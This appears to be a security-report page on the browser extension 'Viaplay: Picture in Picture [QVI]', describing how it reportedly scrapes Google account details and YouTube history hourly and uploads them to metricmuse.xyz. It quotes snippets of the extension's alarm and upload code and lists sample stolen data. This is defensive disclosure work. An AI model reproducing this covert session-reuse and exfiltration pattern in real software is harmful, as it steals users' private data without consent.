Is Viaplay: Picture in Picture [QVI] safe?
Viaplay: Picture in Picture uses your active Google session on an hourly timer to scrape your YouTube activity history and account profile.
On an hourly alarm, unrelated to any Viaplay page and not gated by the extension's own opt-out setting, the background service worker uses your logged-in Google session cookies to pull data from myaccount.google.com and myactivity.google.com, including your gender, birth year, and your YouTube watch and search history. It hashes your Google account email to build a persistent profile ID, then uploads the collected activity data to metricmuse.xyz tagged with that ID.
Who publishes itHideApp - 39 other listings from the same operator, 1 of them carrying a finding
HideApp - 39 other listings from the same operator, 1 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
39 other listings published from this account, 82k+ users between them. 1 of them carries a finding.
Shared hosts - 2 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
PIP extension for Viaplay scrapes your Google account and YouTube history hourly
Code analysis shows an hourly background alarm reuses your Google session to read your My Activity history and birthday page, then uploads it to metricmuse.xyz, unrelated to the extension's picture-in-picture purpose.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Static analysis
You install the extension to pop out Viaplay video, and stay signed into your Google account in the same browser.
You never need to open Viaplay or YouTube for the next step to happen.
30 minutes after install, and every hour after that, the extension reads your Google session and account details and uploads them to metricmuse.xyz.
The alarm and the scrape run from the background service worker regardless of what site you're on.
The hourly alarm has no opt-out check
var INITIAL_DELAY_MINUTES = 30;var INTERVAL_MINUTES = 60;var ALARM_NAME = "dh-run-youtube";chrome.runtime.onInstalled.addListener(async () => { await chrome.alarms.create(ALARM_NAME, { delayInMinutes: INITIAL_DELAY_MINUTES, periodInMinutes: INTERVAL_MINUTES });});var run = async () => { await scrapeYoutube(); };chrome.alarms.onAlarm.addListener(async (alarm) => { if (alarm.name !== ALARM_NAME) return; await run();});- Google auth tokenAJKiYcHb3fQmZ2x9pLwR7tVh1sNc0eKq
An internal Google auth token read from your logged-in My Activity page, used to authorize further calls to Google's activity API.
- Google account emailj.smith83@gmail.com
Your Google account email address, read directly off the My Activity page while your session cookie is attached.
- Hashed account ID9f2b7a1c4e8d3f6a0b5c8e1d4a7f2b9c6e0d3a8f1b4c7e2a5d8f1c4b7e0a3d6f
A SHA-256 hash of your email, used to tag every upload to metricmuse.xyz so activity from the same Google account can be linked over time.
- Genderfemale
Extracted from the account demographics section of myaccount.google.com/birthday.
- Birth year1991
Extracted from the same account demographics page.
- YouTube and Google activity historyWatched "Kitchen renovation tips" on YouTube, 2026-08-14 21:03
Your actual My Activity entries, paged through using Google's internal activity API with your auth token.
- metricmuse.xyz
Receives hashed account ID, browser details, gender, birth year, and My Activity history entries via /n/youtube/start and /n/youtube/upload. Not affiliated with Viaplay or Google.
Uploads are addressed to metricmuse.xyz, not Viaplay
var config_namespaceObject = JSON.parse('{"Ec":"https://metricmuse.xyz/","QL":"284479c0","xg":"","uL":"https://metricmuse.xyz/n/"}');var Metriq_BASE_ROUTE = config_namespaceObject.uL;var fetchCommandsToSend = async (initData) => postPlainJsonRequest(`${Metriq_BASE_ROUTE}youtube/start`, initData);var uploadSingleCommandData = async (data, commandId) => postPlainJsonRequest(`${Metriq_BASE_ROUTE}youtube/upload`, { ...data, commandId });Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
What it can do
Permissions this extension asks for, as declared in version 1.0.8. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every secure site you visit
https://*/*
Schedule its own background tasks
alarms
Store data in your browser
storage
Where it sends data
Destinations our analysis observed Viaplay: Picture in Picture [QVI] contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- metricmuse.xyz
Viaplay: Picture in Picture [QVI] sends data to metricmuse.xyz. 12 other extensions we have analyzed send data here.